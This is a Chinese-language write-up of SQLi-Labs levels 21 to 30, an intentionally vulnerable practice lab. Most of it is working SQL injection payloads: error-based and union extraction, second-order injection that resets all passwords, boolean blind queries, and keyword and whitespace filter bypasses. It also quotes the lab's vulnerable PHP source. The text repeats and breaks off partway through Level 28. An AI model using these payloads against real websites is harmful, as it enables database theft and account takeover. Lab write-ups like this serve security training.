本篇汇总 SQLi-Labs 第 21~30 关覆盖 Cookie 注入、二次注入与过滤绕过等。Less-21这一关与第二十关差不多uname后面的admin变成了YWRtaW4看来是加密了用了base64这一关闭合方式为 ) 单引号加括号payload如下) and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 30)),1)#编码后JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHN1YnN0cigoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkpLCAxLCAzMCkpLDEpIw总之payload与上一关差不多就多了一个括号然后进行了base64编码剩下的payload我就不写了...Less-22这一关还是差不多可能还是闭合方式不同我们试试双引号成功闭合 #的base64编码为IiAj检验一下是否能偷出数据 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 30)),1)#base64编码IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2Usc3Vic3RyKChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksIDEsIDMwKSksMSkj可以带出数据接下来就不多说了payload参考上一关Less-23第23关get类型的注入使用单引号触发报错看报错信息应该是单引号的字符型注入了但是无论怎么注释都闭合不了那我们不注释了尝试另一种闭合方式尝试了一下果然可以payload?id1 or 11?id-1union select 1,2,3 or 11进行尝试得知字段数为3且第二个字段和第三个字段为回显位置(将id弄成一个负数的值使前面的语句失效)这里解释一下your password这里结果是1是因为3 or 11加上sql语句中原本就有的 形成3 or 11这是一个逻辑或和逻辑为真结果当然是1?id-1 union select 1,version(),3 or 11?id-1 union select 1,group_concat(table_name),group_concat(table_name) from information_schema.tables where table_schemadatabase() and 11UNION 操作非法字符集排序规则混合这是字符集不匹配算了我们不用联合注入了试试报错注入?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) and 11可以继续爆字段?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name users),0x7e),1) and 11爆具体存的值?id1 and updatexml(1,concat(0x7e,SUBSTR((select group_concat(0x7e,username,0x7e,password) from users),1,30),0x7e),1) and 11Less-24第24关让我登录之后继续先登录上去看看改密码的界面没有思路看一下源码吧登录逻辑代码function sqllogin(){ $username mysql_real_escape_string($_POST[login_user]); $password mysql_real_escape_string($_POST[login_password]); $sql SELECT * FROM users WHERE username$username and password$password; $res mysql_query($sql) or die(You tried to be real smart, Try harder!!!! :( ); $row mysql_fetch_row($res); if ($row[1]) { return $row[1]; } else { return 0; } }注册逻辑代码$username mysql_escape_string($_POST[username]) ; $pass mysql_escape_string($_POST[password]); $re_pass mysql_escape_string($_POST[re_password]); echo font size3 color#FFFF00; $sql select count(*) from users where username$username; $res mysql_query($sql) or die(You tried to be smart, Try harder!!!! :( ); $row mysql_fetch_row($res);修改密码处代码# Validating the user input........ $username $_SESSION[username]; $curr_pass mysql_real_escape_string($_POST[current_password]); $pass mysql_real_escape_string($_POST[password]); $re_pass mysql_real_escape_string($_POST[re_password]); if($pass$re_pass) { $sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ; $res mysql_query($sql) or die(You tried to be smart, Try harder!!!! :( ); $row mysql_affected_rows(); }看了上面的源码很明显是二次注入用户名经过转义成功存入数据库改密码业务中读取该用户名直接拼接 UPDATE SQL忘记对读取出来的数据转义我们可以先注册一个账户为admin or 11#的账号在更改密码时更改密码的逻辑就会变成此时更改密码不需要原来的密码并且一次性更改数据库所有密码$sql UPDATE users SET PASSWORD$pass where usernameadmin or 11# and password$curr_pass ;在数据库中验证一下ok成功了密码全改了Less-25 / 25a第25关提示如上意思应该是or和and被过滤了我们试试绕过首先这一关是有回显的我们可以进行union注入?id-1 union select 1,database(),version()--查到数据库名称和版本接下来查看一下有哪些表?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()--报错了下面显示了过滤后的内容可以看出来information_schema中的or也被过滤了我们绕过一下payload如下?id-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schemadatabase()--查了一下Illegal mix of collations for operation UNION含义是UNION 两边对应列的排序规则 collation 不兼容可以用CONVERT(xxx USING latin1)强制转换 collation适配原表字符集payload如下?id-1 union select 1,2,convert(group_concat(table_name) using latin1) from infoorrmation_schema.tables where table_schemaconvert(database() using latin1)--爆字段的payload如下?id-1 union select 1,2,convert(group_concat(column_name) using latin1) from infoorrmation_schema.columns where table_nameusers anandd table_schemaconvert(database() using latin1)--看内容?id-1 union select 1,2,group_concat(0x5c,username,0x5c,passwoorrd) from users--\Dumb\22,\Angelina\22,\Dummy\22,\secure\22,\stupid\22,\superman\22,\batman\22,\admin\22,\\22,\blue\22,\bluek\22,\admin or 11#\22第25a关与上一关提示一样过滤了所有的or和and这一关与上一关回显方式是一样的只不过闭合方法不一样没有单引号查数据库名称和版本?id-1 union select 1,database(),version()--这一关只是比上一关payload中少一个单引号剩下的一模一样就不列举了...Less-26 / 26a第26关此关卡翻译所有空格、所有注释都被我们过滤没收了。Spaces 普通空格Comments # 、-- 、/* */全部注释符号虽然提示是过滤了空格和注释但是实际上不止这些源码如下是过滤掉了所有的orand注释空白字符转义符function blacklist($id) { $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive) $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out -- $id preg_replace(/[#]/,, $id); //Strip out # $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes return $id; }这里查了一下\s是 PCRE 正则预定义的一部分空白集合其中包括普通空格 (0x20)\ttab 制表 (0x09)\n换行 (0x0A)\r回车 (0x0D)\f换页 (0x0C)但是这里漏掉了下面这两个这就是这关的突破点\v垂直制表符0x0b- URL 编码%0b不间断空格 NBSP0xa0- URL 编码%A0我们尝试使用payload?id-1%A0union%A0select%A01,database(),version()--出现下方的报错这是因为在 Windows 下会有无法用特殊字符代替空格的问题这是 Apache 解析的问题Linux 下无这个问题这里没办法使用空白字符了不能使用union注入但是我们可以使用报错注入真正能用的半角竖线|管道符SQL 注入||用的ASCII 十六进制0x7Cpayload?id-1||updatexml(1,concat(0x7e,database(),0x7e,version()),1)||11思路就是这样个思路后续爆表爆字段就是简单改一下以前的payload这里我就不重复了第26a关?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); // take the variables if(isset($_GET[id])) { $id$_GET[id]; //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); //fiddling with comments $id blacklist($id); //echo br; //echo $id; //echo br; $hint$id; // connectivity $sqlSELECT * FROM users WHERE id($id) LIMIT 0,1; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color #99FF00; echo Your Login name:. $row[username]; echo br; echo Your Password: .$row[password]; echo /font; } else { echo font color #FFFF00; //print_r(mysql_error()); //⭐⭐⭐这里注释了mysql_error()就是说即使SQL执行报错PHP也不会输出MySQL错误信息updatexml报错注入拿不到回显 echo /font; } } else { echo Please input the ID as parameter with numeric value;} function blacklist($id) { $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive) $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out -- $id preg_replace(/[#]/,, $id); //Strip out # $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes return $id; } ?从源码中可以看出这里注释了mysql_error()就是说即使SQL执行报错PHP也不会输出MySQL错误信息updatexml报错注入拿不到回显所以我们这一关只能使用布尔盲注payload:?id1)%26%26length(database())8%26%26(11猜数据库名称首字母?id-1)%26%26ascii(substr(database(),1,1))115%26%26(11套路类似就不列举了Less-27 / 27a第27关这一关显示使用不了union和selectfunction blacklist($id){ $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union/s,, $id); //Strip out union $id preg_replace(/select/s,, $id); //Strip out select $id preg_replace(/UNION/s,, $id); //Strip out UNION $id preg_replace(/SELECT/s,, $id); //Strip out SELECT $id preg_replace(/Union/s,, $id); //Strip out Union $id preg_replace(/Select/s,, $id); //Strip out select return $id; }使用单引号闭合发现报错这一关使用单引号字符型的报错注入爆库?id1and(updatexml(1,concat(0x7e,database(),0x7e),1)) and 11爆表这一题中说select被过滤了那就试试大小写绕过payload如下?id1||updatexml(1,concat(0x7e,(selEcT(group_concat(table_name))from(information_schema.tables)where(table_schemasecurity)),0x7e),1)||11爆字段?id1|| updatexml(1,concat(0x7e,(selEcT(group_concat(column_name))from(information_schema.columns)where(table_schemasecurity)),0x7e),1)||11爆密码?id1|| updatexml(1,concat(0x7e,(selEcT(group_concat(password))from(users)),0x7e),1)||11第27a关也是union和select用不了源码中注释了mysql_error()用不了报错注入但是过滤union和select的规则是有漏洞的并且这里只过滤了空格没有过滤其他空白字符我们这一关可以使用大小写绕过和union注入?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); // take the variables if(isset($_GET[id])) { $id$_GET[id]; //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); //fiddling with comments $id blacklist($id); //echo br; //echo $id; //echo br; $hint$id; $id .$id. ; // connectivity $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color #99FF00; echo Your Login name:. $row[username]; echo br; echo Your Password: .$row[password]; echo /font; } else { echo font color #FFFF00; //print_r(mysql_error()); echo /font; } } else { echo Please input the ID as parameter with numeric value;} function blacklist($id) { $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union/s,, $id); //Strip out union $id preg_replace(/select/s,, $id); //Strip out select $id preg_replace(/UNION/s,, $id); //Strip out UNION $id preg_replace(/SELECT/s,, $id); //Strip out SELECT $id preg_replace(/Union/s,, $id); //Strip out Union $id preg_replace(/Select/s,, $id); //Strip out Select return $id; } ?爆库payload?id%0aunIon%0aSelEct%0a1,database(),2%0a||11爆表名?id0%0aunIon%0aSelEct%0a1,unhex(hex(group_concat(table_name))),2%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aand%0a11爆字段名?id0%0aunIon%0aSelEct%0a1,unhex(hex(group_concat(column_name))),2%0afrom%0ainformation_schema.columns%0awhere%0atable_nameusers%0aand%0atable_schemasecurity%0aand%0a11爆密码?id0%0aunIon%0aSelEct%0a1,group_concat(0x5c,username,0x5c,password),2%0afrom%0ausers%0awhere%0a11%0aand%0a11\Dumb\22,\Angelina\22,\Dummy\22,\secure\22,\stupid\22,\superman\22,\batman\22,\admin\22,\\,\blue\22,\bluek\22,\admin or 11#\22Less-28 / 28a第28关28关如下依旧屏蔽了union和select?id1,?id1显示 ?id1不显示?id1)||1(1正确显示页面,说明有()是单引号加括号注入这里过滤了union select的连续组合并且大小写不敏感但是都没有单独过滤这里可以考虑双写绕过function blacklist($id) { $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. //$id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union\sselect/i,, $id); //Strip out UNION SELECT. return $id; }爆库?id)unIunion%0aselecton%0asEleCt%0a1,database(),2||(11⭐补充这里其实有另一种绕过$id preg_replace(/union\sselect/i,, $id);的方法更简单一点就是使用union all select这样就可以让其不连续爆表?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(table_name))),2%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aand%0a(11爆字段?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(column_name))),2%0afrom%0ainformation_schema.columns%0awhere%0atable_nameusers%0aand%0atable_schemasecurity%0aand%0a(11爆账号密码?id)unIunion%0aselecton%0asEleCt%0a1,group_concat(0x5c,username,0x5c,password),2%0afrom%0ausers%0awhere%0a11%0aand%0a(11\Dumb\22,\Angelina\22,\Dummy\22,\secure\22,\stupid\22,\superman\22,\batman\22,\admin\22,\\,\blue\22,\bluek\22,\admin or 11#\22第28a关第28a关其实和第28关差不多两关可以共用一个payload的爆库?id)unIunion%0aselecton%0asEleCt%0a1,database(),2||(11爆表?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(table_name))),2%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aand%0a(11爆字段?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(column_name))),2%0afrom%0ainformation_schema.columns%0awhere%0atable_nameusers%0aand%0atable_schemasecurity%0aand%0a(11爆账号密码?id)unIunion%0aselecton%0asEleCt%0a1,group_concat(0x5c,username,0x5c,password),2%0afrom%0ausers%0awhere%0a11%0aand%0a(11Less-29本网站受到世界最强防火墙保护这关很容易就能发现是反引号字符型注入然后爆库?id union select 1,version(),database() --爆表?id union select 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schemasecurity --爆字段?id union select 1,unhex(hex(group_concat(column_name))),3 from information_schema.columns where table_schemasecurity and table_nameusers--爆账号密码?id union select 1,unhex(hex(group_concat(username))),unhex(hex(group_concat(password))) from security.users where 1 --不是我数据都拿完了都没感受到防火墙的存在我们欣赏一下源码这个waf检查了输入是不是纯数字不是就进行else分支然后重定向但是原本的脚本就没有停止sql语句继续执行这个防护就形同虚设啊?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); //disable error reporting error_reporting(0); // take the variables if(isset($_GET[id])) { $qs $_SERVER[QUERY_STRING]; $hint$qs; $id1java_implimentation($qs); $id$_GET[id]; //echo $id1; whitelist($id1); //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); // connectivity $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color #99FF00; echo Your Login name:. $row[username]; echo br; echo Your Password: .$row[password]; echo /font; } else { echo font color #FFFF00; print_r(mysql_error()); echo /font; } } else { echo Please input the ID as parameter with numeric value;} //WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match preg_match(/^\d$/, $input); if($match) { //echo you are good; //return $match; } else { header(Location: hacked.php); //echo you are bad; } } // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s $query_string; $qs_array explode(,$q_s); foreach($qs_array as $key $value) { $valsubstr($value,0,2); if($valid) { $id_valuesubstr($value,3,30); return $id_value; echo br; break; } } }Less-30思路payload与29关完全一致只是闭合方式是双引号payload如下爆库?id union select 1,version(),database() --爆表?id union select 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schemasecurity --爆字段?id union select 1,unhex(hex(group_concat(column_name))),3 from information_schema.columns where table_schemasecurity and table_nameusers--爆账号密码?id union select 1,unhex(hex(group_concat(username))),unhex(hex(group_concat(password))) from security.users where 1 -- sqli-labs-less-21-30
本篇汇总 SQLi-Labs 第 21~30 关覆盖 Cookie 注入、二次注入与过滤绕过等。Less-21这一关与第二十关差不多uname后面的admin变成了YWRtaW4看来是加密了用了base64这一关闭合方式为 ) 单引号加括号payload如下) and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 30)),1)#编码后JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHN1YnN0cigoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkpLCAxLCAzMCkpLDEpIw总之payload与上一关差不多就多了一个括号然后进行了base64编码剩下的payload我就不写了...Less-22这一关还是差不多可能还是闭合方式不同我们试试双引号成功闭合 #的base64编码为IiAj检验一下是否能偷出数据 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 30)),1)#base64编码IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2Usc3Vic3RyKChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSksIDEsIDMwKSksMSkj可以带出数据接下来就不多说了payload参考上一关Less-23第23关get类型的注入使用单引号触发报错看报错信息应该是单引号的字符型注入了但是无论怎么注释都闭合不了那我们不注释了尝试另一种闭合方式尝试了一下果然可以payload?id1 or 11?id-1union select 1,2,3 or 11进行尝试得知字段数为3且第二个字段和第三个字段为回显位置(将id弄成一个负数的值使前面的语句失效)这里解释一下your password这里结果是1是因为3 or 11加上sql语句中原本就有的 形成3 or 11这是一个逻辑或和逻辑为真结果当然是1?id-1 union select 1,version(),3 or 11?id-1 union select 1,group_concat(table_name),group_concat(table_name) from information_schema.tables where table_schemadatabase() and 11UNION 操作非法字符集排序规则混合这是字符集不匹配算了我们不用联合注入了试试报错注入?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) and 11可以继续爆字段?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name users),0x7e),1) and 11爆具体存的值?id1 and updatexml(1,concat(0x7e,SUBSTR((select group_concat(0x7e,username,0x7e,password) from users),1,30),0x7e),1) and 11Less-24第24关让我登录之后继续先登录上去看看改密码的界面没有思路看一下源码吧登录逻辑代码function sqllogin(){ $username mysql_real_escape_string($_POST[login_user]); $password mysql_real_escape_string($_POST[login_password]); $sql SELECT * FROM users WHERE username$username and password$password; $res mysql_query($sql) or die(You tried to be real smart, Try harder!!!! :( ); $row mysql_fetch_row($res); if ($row[1]) { return $row[1]; } else { return 0; } }注册逻辑代码$username mysql_escape_string($_POST[username]) ; $pass mysql_escape_string($_POST[password]); $re_pass mysql_escape_string($_POST[re_password]); echo font size3 color#FFFF00; $sql select count(*) from users where username$username; $res mysql_query($sql) or die(You tried to be smart, Try harder!!!! :( ); $row mysql_fetch_row($res);修改密码处代码# Validating the user input........ $username $_SESSION[username]; $curr_pass mysql_real_escape_string($_POST[current_password]); $pass mysql_real_escape_string($_POST[password]); $re_pass mysql_real_escape_string($_POST[re_password]); if($pass$re_pass) { $sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ; $res mysql_query($sql) or die(You tried to be smart, Try harder!!!! :( ); $row mysql_affected_rows(); }看了上面的源码很明显是二次注入用户名经过转义成功存入数据库改密码业务中读取该用户名直接拼接 UPDATE SQL忘记对读取出来的数据转义我们可以先注册一个账户为admin or 11#的账号在更改密码时更改密码的逻辑就会变成此时更改密码不需要原来的密码并且一次性更改数据库所有密码$sql UPDATE users SET PASSWORD$pass where usernameadmin or 11# and password$curr_pass ;在数据库中验证一下ok成功了密码全改了Less-25 / 25a第25关提示如上意思应该是or和and被过滤了我们试试绕过首先这一关是有回显的我们可以进行union注入?id-1 union select 1,database(),version()--查到数据库名称和版本接下来查看一下有哪些表?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()--报错了下面显示了过滤后的内容可以看出来information_schema中的or也被过滤了我们绕过一下payload如下?id-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schemadatabase()--查了一下Illegal mix of collations for operation UNION含义是UNION 两边对应列的排序规则 collation 不兼容可以用CONVERT(xxx USING latin1)强制转换 collation适配原表字符集payload如下?id-1 union select 1,2,convert(group_concat(table_name) using latin1) from infoorrmation_schema.tables where table_schemaconvert(database() using latin1)--爆字段的payload如下?id-1 union select 1,2,convert(group_concat(column_name) using latin1) from infoorrmation_schema.columns where table_nameusers anandd table_schemaconvert(database() using latin1)--看内容?id-1 union select 1,2,group_concat(0x5c,username,0x5c,passwoorrd) from users--\Dumb\22,\Angelina\22,\Dummy\22,\secure\22,\stupid\22,\superman\22,\batman\22,\admin\22,\\22,\blue\22,\bluek\22,\admin or 11#\22第25a关与上一关提示一样过滤了所有的or和and这一关与上一关回显方式是一样的只不过闭合方法不一样没有单引号查数据库名称和版本?id-1 union select 1,database(),version()--这一关只是比上一关payload中少一个单引号剩下的一模一样就不列举了...Less-26 / 26a第26关此关卡翻译所有空格、所有注释都被我们过滤没收了。Spaces 普通空格Comments # 、-- 、/* */全部注释符号虽然提示是过滤了空格和注释但是实际上不止这些源码如下是过滤掉了所有的orand注释空白字符转义符function blacklist($id) { $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive) $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out -- $id preg_replace(/[#]/,, $id); //Strip out # $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes return $id; }这里查了一下\s是 PCRE 正则预定义的一部分空白集合其中包括普通空格 (0x20)\ttab 制表 (0x09)\n换行 (0x0A)\r回车 (0x0D)\f换页 (0x0C)但是这里漏掉了下面这两个这就是这关的突破点\v垂直制表符0x0b- URL 编码%0b不间断空格 NBSP0xa0- URL 编码%A0我们尝试使用payload?id-1%A0union%A0select%A01,database(),version()--出现下方的报错这是因为在 Windows 下会有无法用特殊字符代替空格的问题这是 Apache 解析的问题Linux 下无这个问题这里没办法使用空白字符了不能使用union注入但是我们可以使用报错注入真正能用的半角竖线|管道符SQL 注入||用的ASCII 十六进制0x7Cpayload?id-1||updatexml(1,concat(0x7e,database(),0x7e,version()),1)||11思路就是这样个思路后续爆表爆字段就是简单改一下以前的payload这里我就不重复了第26a关?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); // take the variables if(isset($_GET[id])) { $id$_GET[id]; //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); //fiddling with comments $id blacklist($id); //echo br; //echo $id; //echo br; $hint$id; // connectivity $sqlSELECT * FROM users WHERE id($id) LIMIT 0,1; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color #99FF00; echo Your Login name:. $row[username]; echo br; echo Your Password: .$row[password]; echo /font; } else { echo font color #FFFF00; //print_r(mysql_error()); //⭐⭐⭐这里注释了mysql_error()就是说即使SQL执行报错PHP也不会输出MySQL错误信息updatexml报错注入拿不到回显 echo /font; } } else { echo Please input the ID as parameter with numeric value;} function blacklist($id) { $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive) $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out -- $id preg_replace(/[#]/,, $id); //Strip out # $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\s]/,, $id); //Strip out spaces $id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes return $id; } ?从源码中可以看出这里注释了mysql_error()就是说即使SQL执行报错PHP也不会输出MySQL错误信息updatexml报错注入拿不到回显所以我们这一关只能使用布尔盲注payload:?id1)%26%26length(database())8%26%26(11猜数据库名称首字母?id-1)%26%26ascii(substr(database(),1,1))115%26%26(11套路类似就不列举了Less-27 / 27a第27关这一关显示使用不了union和selectfunction blacklist($id){ $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union/s,, $id); //Strip out union $id preg_replace(/select/s,, $id); //Strip out select $id preg_replace(/UNION/s,, $id); //Strip out UNION $id preg_replace(/SELECT/s,, $id); //Strip out SELECT $id preg_replace(/Union/s,, $id); //Strip out Union $id preg_replace(/Select/s,, $id); //Strip out select return $id; }使用单引号闭合发现报错这一关使用单引号字符型的报错注入爆库?id1and(updatexml(1,concat(0x7e,database(),0x7e),1)) and 11爆表这一题中说select被过滤了那就试试大小写绕过payload如下?id1||updatexml(1,concat(0x7e,(selEcT(group_concat(table_name))from(information_schema.tables)where(table_schemasecurity)),0x7e),1)||11爆字段?id1|| updatexml(1,concat(0x7e,(selEcT(group_concat(column_name))from(information_schema.columns)where(table_schemasecurity)),0x7e),1)||11爆密码?id1|| updatexml(1,concat(0x7e,(selEcT(group_concat(password))from(users)),0x7e),1)||11第27a关也是union和select用不了源码中注释了mysql_error()用不了报错注入但是过滤union和select的规则是有漏洞的并且这里只过滤了空格没有过滤其他空白字符我们这一关可以使用大小写绕过和union注入?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); // take the variables if(isset($_GET[id])) { $id$_GET[id]; //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); //fiddling with comments $id blacklist($id); //echo br; //echo $id; //echo br; $hint$id; $id .$id. ; // connectivity $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color #99FF00; echo Your Login name:. $row[username]; echo br; echo Your Password: .$row[password]; echo /font; } else { echo font color #FFFF00; //print_r(mysql_error()); echo /font; } } else { echo Please input the ID as parameter with numeric value;} function blacklist($id) { $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union/s,, $id); //Strip out union $id preg_replace(/select/s,, $id); //Strip out select $id preg_replace(/UNION/s,, $id); //Strip out UNION $id preg_replace(/SELECT/s,, $id); //Strip out SELECT $id preg_replace(/Union/s,, $id); //Strip out Union $id preg_replace(/Select/s,, $id); //Strip out Select return $id; } ?爆库payload?id%0aunIon%0aSelEct%0a1,database(),2%0a||11爆表名?id0%0aunIon%0aSelEct%0a1,unhex(hex(group_concat(table_name))),2%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aand%0a11爆字段名?id0%0aunIon%0aSelEct%0a1,unhex(hex(group_concat(column_name))),2%0afrom%0ainformation_schema.columns%0awhere%0atable_nameusers%0aand%0atable_schemasecurity%0aand%0a11爆密码?id0%0aunIon%0aSelEct%0a1,group_concat(0x5c,username,0x5c,password),2%0afrom%0ausers%0awhere%0a11%0aand%0a11\Dumb\22,\Angelina\22,\Dummy\22,\secure\22,\stupid\22,\superman\22,\batman\22,\admin\22,\\,\blue\22,\bluek\22,\admin or 11#\22Less-28 / 28a第28关28关如下依旧屏蔽了union和select?id1,?id1显示 ?id1不显示?id1)||1(1正确显示页面,说明有()是单引号加括号注入这里过滤了union select的连续组合并且大小写不敏感但是都没有单独过滤这里可以考虑双写绕过function blacklist($id) { $id preg_replace(/[\/\*]/,, $id); //strip out /* $id preg_replace(/[--]/,, $id); //Strip out --. $id preg_replace(/[#]/,, $id); //Strip out #. $id preg_replace(/[ ]/,, $id); //Strip out spaces. //$id preg_replace(/select/m,, $id); //Strip out spaces. $id preg_replace(/[ ]/,, $id); //Strip out spaces. $id preg_replace(/union\sselect/i,, $id); //Strip out UNION SELECT. return $id; }爆库?id)unIunion%0aselecton%0asEleCt%0a1,database(),2||(11⭐补充这里其实有另一种绕过$id preg_replace(/union\sselect/i,, $id);的方法更简单一点就是使用union all select这样就可以让其不连续爆表?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(table_name))),2%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aand%0a(11爆字段?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(column_name))),2%0afrom%0ainformation_schema.columns%0awhere%0atable_nameusers%0aand%0atable_schemasecurity%0aand%0a(11爆账号密码?id)unIunion%0aselecton%0asEleCt%0a1,group_concat(0x5c,username,0x5c,password),2%0afrom%0ausers%0awhere%0a11%0aand%0a(11\Dumb\22,\Angelina\22,\Dummy\22,\secure\22,\stupid\22,\superman\22,\batman\22,\admin\22,\\,\blue\22,\bluek\22,\admin or 